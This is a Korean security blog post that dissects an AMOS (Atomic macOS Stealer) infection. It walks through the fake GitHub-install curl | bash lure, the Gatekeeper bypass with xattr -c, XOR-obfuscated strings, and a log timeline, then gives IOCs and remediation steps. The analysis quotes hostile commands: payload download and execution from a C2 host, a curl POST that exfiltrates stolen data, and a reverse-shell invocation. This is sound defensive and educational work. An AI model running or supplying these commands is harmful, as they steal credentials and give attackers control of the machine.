AMOS Stealer(Atomic macOS Stealer) 분해: curl | bash 감염 경로부터 IOC·대응법까지

macOS 보안 - AMOS Stealer 분해

작성자

카테고리:

* 이 게시물은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다.

가짜 GitHub 앱 설치 문구 뒤에 숨은 Base64 한 줄. 실제 감염 검체를 디스어셈블·복호화해 공격의 전 과정을 재구성하고, 개인정보 없이 IOC와 기법만 공개한다.

Red skull with atomic symbol on laptop screen surrounded by Mac icons and stolen data labels
Illustration showing Atomic MacOS Stealer targeting sensitive data on Mac devices

먼저, 이 글이 필요한 이유

터미널에 붙여넣으라는 낯선 한 줄 명령은 그 자체가 공격입니다. 특히 echo '…' | base64 -D | bash, curl … | bash, xattr -c 같은 조각이 보이면 절대 실행하지 마세요. 아래는 그런 한 줄이 실제로 무엇을 하는지 검체로 보여줍니다.

01. 미끼: 정상처럼 보이는 한 줄

피해자가 복사·실행한 명령은 이렇게 생겼습니다. 앞부분은 “GitHub 앱 설치 안내”처럼 보이는 순수 미끼이고, 진짜 동작은 && 뒤 Base64 블록에 숨어 있습니다.

# 앞줄: 화면에 글자만 찍는 미끼 (실제 접속 없음). dl.github.com 은 GitHub 정식 도메인이 아님
echo "Setup-GithubApp: https://dl.github.com/..." && \
echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwg…' | base64 -D | bash

Base64를 실행하지 않고 디코딩만 하면 정체가 드러납니다.

# base64 -D 결과 — 하드코딩된 IP에서 스크립트를 받아 메모리에서 실행(파일리스)
/bin/bash -c "$(curl -fsSL http://<C2-IP>/<random>)"

-D(대문자)는 macOS 전용 플래그 — 공격자가 macOS를 특정했다는 신호입니다. 도메인 없이 IP를 직접 쓴 건 DNS 로그를 남기지 않고 차단·테이크다운을 피하려는 의도입니다.

02. 2차 페이로드와 Gatekeeper 우회

1차 스크립트는 임시 폴더에 Mach-O 바이너리를 내려받아 실행합니다. 핵심은 xattr -c 한 줄입니다.

cd $TMPDIR && curl -O http://<C2-IP>/<payload> \
  && xattr -c <payload>      # com.apple.quarantine 제거 → Gatekeeper 경고 우회
  && chmod +x <payload> && ./<payload>

왜 경고가 안 떴나

정상적으로 내려받은 실행 파일은 격리 속성이 붙어 Gatekeeper가 “확인되지 않은 개발자” 경고로 막습니다. xattr -c가 그 딱지를 떼어내 경고 없이 바로 실행되게 만듭니다. 통합 로그에는 그 흔적이 adhoc signed / unknown certificate chain으로 남습니다.

03. 2단 구조: 로더와 에이전트

검체는 두 개의 Mach-O로 나뉩니다. 둘 다 문자열이 암호화돼 있어 strings로는 아무것도 나오지 않습니다.

구성요소역할특징
stage-2 로더패킹 해제 + 절도 실행PBKDF2+AES(CommonCrypto)로 내장 페이로드 복호화, fork/setsid 데몬화, 셸 명령 다수(popen)
에이전트
(.agnt)
영속 백도어리버스 셸 능력, 클립보드 접근, C2로 데이터 유출, 자가 재시작

로더는 libc++만 링크한 순수 C++이고, 에이전트만 AppKit/Foundation을 링크합니다 — 그래서 GUI·클립보드 관련 동작은 에이전트 쪽에 있습니다.

04. 문자열은 어떻게 숨겼나 — 그리고 어떻게 풀었나

두 바이너리 모두 명령 문자열을 즉시값으로 스택에 조립한 뒤 XOR로 복호화합니다. 실행 순간 레지스터에서만 평문이 존재하죠. 디스어셈블에서 특징적인 NEON 패턴이 보입니다.

ldr   q0, [sp, #…]        ; 암호문 16바이트
ldr   q1, [sp, #…]        ; XOR 키 16바이트
eor.16b v0, v1, v0        ; ← 런타임 복호화
add   x1, sp, #…
bl    _popen              ; 복호화된 명령만 셸로 전달

정적으로 평문을 얻으려면 이 복호화 산술만 재현하면 됩니다. 실제 실행은 하지 않습니다. 두 가지 접근이 유효했습니다.

  • 격리 CPU 에뮬레이션(Unicorn): 세그먼트를 가상메모리에 로드하고, 외부 호출(popen 등)은 스텁 처리해 시스템 콜을 일절 실행하지 않고 XOR 구간만 돌린 뒤 메모리에서 평문을 읽음.
  • 선형 해석기(권장): 분기를 무시하고 함수를 위→아래로 한 번만 훑으며 movz/movk/stp/ldr/eor.16b만 해석. 루프가 없어 즉시 끝나고, XOR 청크를 순서대로 복원.

이렇게 복원한 평문 명령의 예(민감값 제거):

# 은폐
killall Terminal 2>/dev/null
# 정찰
system_profiler -json SPSoftwareDataType SPHardwareDataType
# 데이터 유출 (에이전트)
curl --fail --header "Content-Type: text/plain" --data "<stolen>" http://<host>/api/agnt
# 리버스 셸 (능력)
/bin/zsh -i

05. 실제로 무엇을 했나 — 통합 로그 포렌식

정적 분석의 결론은 시스템 통합 로그(log show)로 교차검증됩니다. 감염 창은 약 9분이었습니다.

  • T+00s — curl | bash 1차 실행 — bash 프로세스 스폰
  • T+02s — 2차 페이로드 실행 — AMFI: adhoc signed / unknown certificate chain (서명 없음)
  • T+04s — 가짜 암호창 — osascript 프로세스 기동(피해자 입력 유도)
  • T+04~18s — 키체인·브라우저·지갑·메신저 데이터 절도(약 14초)
  • T+18s — LaunchAgent 등록 — 에이전트 상주 시작(KeepAlive)
  • T+18s→ — 클립보드 폴링 시작 — NSPasteboard … utf8-plain-text 초당 10~20회, 지속
  • 종료 — 대응으로 에이전트 shutting down — 지속성 제거

로그가 밝힌 두 가지

① 클립보드 클리퍼가 실제 가동됨. 에이전트가 클립보드를 쉬지 않고 읽습니다 — 복사한 암호화폐 지갑 주소를 공격자 주소로 바꿔치기하는 전형적 클리퍼 동작.

06. 능력 요약과 위험 판정

🔴 자동 절도 — 실행 확정. 키체인 Safe Storage 키 추출, 브라우저 자격증명·쿠키·세션, 지갑, 메신저 데이터. 이미 유출됨.

🔴 클립보드 클리퍼 — 가동 확인. 감염 중 복사한 내용(특히 지갑 주소) 노출·조작 위험.

🟢 리버스 셸 원격 조작 — 능력 보유, 사용 흔적 없음.

🟢 추가 백도어 설치 — 흔적 없음. 재부팅 후 지속성 완전 소멸 확인.

07. IOC (Indicators of Compromise)

유형값 / 설명
C2 (배포)158.94.210.131 (HTTP) — 1·2차 페이로드 다운로드
C2 (유출)도메인 기반 엔드포인트 …/api/agnt (curl POST)
지속성~/Library/LaunchAgents/com.hlpr.agent.plist → ~/.hlpr/.agnt
스테이징~/.hlpr/ (.pass, .keys/, .guid, .ownrid)
행위osascript 가짜 암호창 · security find-generic-password · NSPasteboard 폴링 · system_profiler
계열AMOS / Atomic macOS Stealer 계열 (제휴형 배포)

※ 해시·정확한 유출 호스트 등 세부 IOC는 검체별로 다릅니다. 대응 시 VirusTotal 등에 해시를 제출해 최신 탐지를 확인하세요.

08. 감염됐다면 — 대응 체크리스트

악성코드 제거는 이미 유출된 자격증명을 되돌리지 못합니다. 값을 무효화하는 것이 핵심입니다. 다른 깨끗한 기기에서 진행하세요.

  1. 암호화폐 자산을 새 지갑(새 시드)으로 이전 — 클리퍼·시드 노출 전제.
  2. 거래소·금융 비밀번호+2FA 재설정, 전 기기 로그아웃, 미확인 API 키 삭제.
  3. 브라우저 저장 비밀번호 전체 교체 — 각 사이트에서 “모든 세션 로그아웃”도 함께(쿠키 유출 때문).
  4. 메신저 세션 종료·비밀번호 변경(토큰 무효화).
  5. 회사 계정이 섞여 있으면 소속 정보보안팀에 즉시 신고.
  6. macOS 로그인 암호 변경 → 키체인 회전. 이후 디스크 초기화·재설치가 가장 확실.
  7. 감염 시간대에 복사(⌘C)한 지갑 주소가 있으면 송금 수신 주소를 반드시 대조.

핵심 교훈

“설치를 완료하려면 이 명령을 붙여넣으세요” “설정하려면 암호를 입력하세요”는 정상 소프트웨어의 설치 방식이 아닙니다. 터미널 한 줄과 예기치 않은 암호창 — 이 둘이 이 공격의 전부이자, 사용자가 끊을 수 있는 유일한 고리입니다.

이 분석은 실제 감염 검체를 대상으로 하며, 방어·교육 목적입니다. 개인 식별 정보와 피해자 데이터는 전부 제외했고, 악성코드 IOC와 기법만 공개했습니다. 명령·바이너리는 격리 환경에서 실행 없이 정적 분석했습니다.

© CozLab — 재배포 시 출처 표기 및 IOC 검증 권장.


부록 — AMOS Stealer 전반 가이드

위 심층 분석의 배경지식으로, AMOS Stealer가 무엇이고 어떤 정보를 노리며 어떻게 예방·대응해야 하는지 전반을 정리합니다. 탈취된 계정이 실제로 어떻게 악용되는지(필자의 디스코드 계정 탈취 사건 포함)도 함께 담았습니다.

AMOS Stealer(Atomic macOS Stealer)는 macOS를 노리는 대표적인 정보탈취(Infostealer) 악성코드입니다. 브라우저에 저장된 비밀번호와 쿠키, macOS 키체인, 암호화폐 지갑, 시스템 정보까지 한 번에 빼내며, 2023년 등장 이후 서비스형 악성코드(MaaS)로 판매되면서 빠르게 확산됐습니다. 이 글에서는 AMOS Stealer의 정체와 감염 경로, 동작 방식, 그리고 개인과 기업이 실제로 취할 수 있는 예방·대응 방법을 정리합니다. 본 글은 보안 인식 제고와 방어 목적의 교육 자료입니다.

AMOS Stealer란 무엇인가?

AMOS는 Atomic macOS Stealer의 줄임말로, 2023년 4월 무렵 텔레그램 등지에서 처음 광고되기 시작한 macOS 전용 정보탈취 악성코드입니다. 제작자는 이를 서비스형 악성코드(Malware-as-a-Service, MaaS) 형태로 월 구독 방식으로 판매했고, 별도의 개발 능력이 없는 공격자도 손쉽게 macOS 사용자를 표적으로 삼을 수 있게 되면서 위협이 급격히 커졌습니다.

오랫동안 “macOS는 안전하다”는 인식이 있었지만, AMOS는 이런 통념을 정면으로 깨뜨린 사례입니다. 특히 암호화폐 사용자, 개발자, 크리에이터처럼 민감한 자산과 계정을 다루는 macOS 사용자를 집중적으로 노립니다.

AMOS Stealer가 노리는 정보

AMOS는 감염된 Mac에서 다음과 같은 정보를 광범위하게 수집해 공격자의 서버(C2)로 전송합니다.

  • 브라우저 저장 정보 — Chrome, Safari, Firefox, Brave, Edge 등의 저장된 비밀번호, 쿠키, 자동완성 데이터, 신용카드 정보
  • macOS 키체인(Keychain) — 시스템에 저장된 각종 자격 증명과 비밀번호
  • 암호화폐 지갑 — Electrum, Exodus, Atomic, Coinomi, Binance 등 데스크톱 지갑과 MetaMask 같은 브라우저 확장 지갑
  • 파일 — 바탕화면과 문서 폴더 등에 있는 특정 확장자 파일
  • 시스템 정보 — 기기 모델, macOS 버전, 하드웨어 정보, 사용자 계정명 등

AMOS Stealer의 주요 감염 경로

1. 크랙·불법 복제 소프트웨어와 가짜 설치 파일

가장 흔한 경로는 크랙 프로그램, 유료 앱의 불법 복제본, 인기 소프트웨어를 사칭한 가짜 .dmg 설치 파일입니다. 정품처럼 보이는 설치 파일을 열면 악성코드가 함께 실행됩니다.

2. 멀버타이징(악성 광고)과 가짜 업데이트

구글 검색 광고 등을 악용해 정상 소프트웨어의 공식 사이트처럼 위장한 페이지로 유도하는 멀버타이징 기법이 자주 쓰입니다. “브라우저를 업데이트하세요”, “Flash가 필요합니다” 같은 가짜 업데이트 안내도 대표적인 미끼입니다.

3. ClickFix — 가짜 캡차와 터미널 명령어

최근 확산된 ClickFix 기법은 “사람인지 확인” 캡차나 오류 해결 안내를 가장해, 사용자가 직접 터미널에 명령어를 붙여넣어 실행하도록 유도합니다. 사용자가 스스로 명령을 실행하기 때문에 일부 보안 장치를 우회할 수 있어 특히 위험합니다.

이 밖에도 가짜 채용 면접, Ledger·Trezor 같은 하드웨어 지갑 앱 사칭, 회의·협업 툴 사칭 등 다양한 사회공학 기법이 활용됩니다.

AMOS Stealer의 동작 방식

AMOS의 공격 흐름에서 가장 특징적인 부분은 가짜 비밀번호 입력창입니다. 악성코드는 AppleScript(osascript)를 이용해 macOS 시스템 대화상자처럼 보이는 창을 띄우고, “설정을 변경하려면 비밀번호를 입력하세요”라는 식으로 사용자를 속여 로그인 비밀번호를 직접 입력하게 만듭니다.

  1. 위장된 설치 파일이나 명령어를 통해 악성 페이로드가 실행됩니다.
  2. 가짜 비밀번호 창으로 사용자의 macOS 로그인 비밀번호를 탈취합니다.
  3. 이 비밀번호로 키체인을 열고, 브라우저·지갑·파일 데이터를 수집합니다.
  4. 수집한 정보를 압축(ZIP)해 공격자의 C2 서버로 전송합니다.

AMOS Stealer의 진화: Poseidon과 백도어

AMOS는 등장 이후 꾸준히 변형·발전해 왔습니다. 2024년에는 AMOS 관계자가 갈라져 나와 만든 Poseidon Stealer 같은 파생 악성코드가 등장했고, 2025년에는 AMOS 자체에 백도어(backdoor) 기능이 추가된 정황이 보고됐습니다.

초기 AMOS가 한 번 정보를 훔치고 끝나는 “치고 빠지는” 방식이었다면, 백도어가 결합된 변종은 LaunchDaemon 등을 이용한 지속성(persistence)을 확보해 재부팅 후에도 살아남고, 추가 명령 실행·원격 제어까지 가능해졌습니다. 단순 정보 유출을 넘어 장기적인 침투 발판으로 진화한 셈입니다.

감염이 의심되는 징후

  • 설치·실행한 적 없는데 갑자기 비밀번호 입력창이 반복해서 뜬다.
  • 출처가 불분명한 .dmg 파일을 열거나 터미널에 명령어를 붙여넣은 직후 이상 증상이 나타난다.
  • 암호화폐 지갑 잔액이 무단으로 빠져나가거나, 계정에 알 수 없는 로그인 기록이 있다.
  • 로그인 항목(시스템 설정 > 로그인 항목)이나 LaunchAgents/LaunchDaemons에 모르는 항목이 있다.

AMOS Stealer 예방 방법

  • 크랙·불법 소프트웨어를 절대 설치하지 않습니다. 정보탈취 악성코드의 가장 흔한 통로입니다.
  • 앱은 Mac App Store 또는 개발자 공식 사이트에서만 내려받습니다.
  • 출처가 확인되지 않은 터미널 명령어를 붙여넣어 실행하지 않습니다. (“캡차 확인”을 빌미로 한 명령 실행 요구는 명백한 공격 신호입니다.)
  • 예상하지 못한 비밀번호 입력 요청은 일단 의심합니다.
  • macOS와 XProtect를 최신 상태로 유지하고, Gatekeeper 보호를 끄지 않습니다.
  • 암호화폐는 하드웨어 지갑에 보관하고, 시드 문구를 기기에 텍스트로 저장하지 않습니다.
  • 중요한 계정은 2단계 인증(MFA)을 반드시 활성화합니다.

감염되었을 때 대응 방법

  1. 감염이 의심되면 즉시 네트워크 연결을 끊어 추가 유출을 막습니다.
  2. 다른 안전한 기기에서 주요 계정의 비밀번호를 모두 변경하고 세션을 로그아웃합니다.
  3. 암호화폐 자산은 새 지갑으로 즉시 이전합니다. (기존 시드는 이미 노출된 것으로 간주)
  4. 신뢰할 수 있는 백신·EDR로 전체 검사를 수행하고 악성 파일과 로그인 항목을 제거합니다.
  5. 피해가 크거나 확실하지 않다면 macOS를 초기화하고 깨끗한 백업에서 복구합니다.
  6. MFA를 활성화하고, 필요 시 관련 기관·서비스에 신고합니다.

탈취된 계정은 어떻게 악용되는가: 실제 사례

AMOS 같은 인포스틸러가 훔친 세션 쿠키·토큰·자격증명은 다크웹에서 거래된 뒤 계정 장악으로 이어집니다. 아래는 필자가 직접 겪은 사례입니다. 메모에 저장해 두었던 디스코드 토큰이 탈취되어, 한국시간 새벽 5시 14분 필자의 계정으로 서버 전체(@everyone)에 사기 이미지가 게시되었습니다. 접속 기록의 공격자 IP는 네덜란드였습니다. 뿌려진 이미지는 팔로워 3,400만 명의 MrBeast X(트위터) 계정 탈취 → 가짜 암호화폐 카지노 유도로 이어지는 아래의 흐름이었습니다.

탈취된 디스코드 계정이 새벽 5시 14분 @everyone으로 사기 이미지를 게시한 화면
⓪ 유포 단계 — 탈취된 필자의 디스코드 계정이 새벽 5시 14분 @everyone 멘션으로 사기 이미지 4장을 일괄 게시했습니다. 사용자가 잠든 시간대를 노린 전형적인 수법입니다.
탈취된 MrBeast X 계정이 가짜 카지노를 홍보하는 고정 게시물
① 탈취된 계정에 올라온 홍보 글 — “1시간 후 삭제”, “$3,500 즉시 출금 가능” 같은 긴급성·한정성 유도 문구가 전형적입니다.
가짜 카지노 사이트의 프로모션 코드 입력 화면
② 안내된 사이트에 가입해 프로모션 코드를 입력하는 단계 — 이 시점에 이미 이메일·비밀번호가 수집됩니다.
가짜 출금 성공 팝업 화면
③ “출금 성공” 팝업 — 피해자를 안심시키기 위한 연출입니다.
지갑에 USDC가 입금된 화면과 출금 성공 팝업
④ 실제로 소액이 지급되는 경우도 있습니다 — 신뢰를 쌓은 뒤 “본인 인증 명목의 입금”이나 고액 베팅을 유도하고, 그때부터는 출금이 막힙니다.

이런 게시물을 보면: 유명인 계정이라도 절대 입금하지 마세요. “즉시 출금 가능한 무료 보너스”는 존재하지 않으며, 초기 소액 지급은 더 큰 입금을 유도하기 위한 미끼입니다. 계정 주인 역시 인포스틸러 감염 등으로 세션을 탈취당한 피해자일 수 있습니다. 그리고 이번 사례의 교훈: 토큰·API 키·비밀번호를 메모 앱에 평문으로 저장하지 마세요. 계정 탈취가 의심되면 즉시 비밀번호 변경 → 모든 세션 로그아웃 → 2단계 인증 활성화 순으로 대응해야 합니다.

자주 묻는 질문 (FAQ)

AMOS Stealer는 Mac에만 감염되나요?

네. AMOS(Atomic macOS Stealer)는 이름 그대로 macOS를 표적으로 설계된 악성코드입니다. 다만 유사한 정보탈취 악성코드는 Windows용으로도 다수 존재합니다.

백신만 설치하면 안전한가요?

백신은 중요하지만 완벽하지 않습니다. AMOS는 사용자가 직접 비밀번호를 입력하거나 명령을 실행하도록 유도하는 사회공학에 크게 의존하므로, 의심스러운 파일·명령·비밀번호 요청을 사용자가 걸러내는 것이 가장 중요합니다.

이미 감염됐다면 비밀번호만 바꾸면 되나요?

비밀번호 변경은 필수지만 그것만으로는 부족합니다. 백도어형 변종은 지속성을 확보할 수 있으므로, 악성 파일·지속성 항목 제거 또는 시스템 초기화까지 함께 진행해야 안전합니다.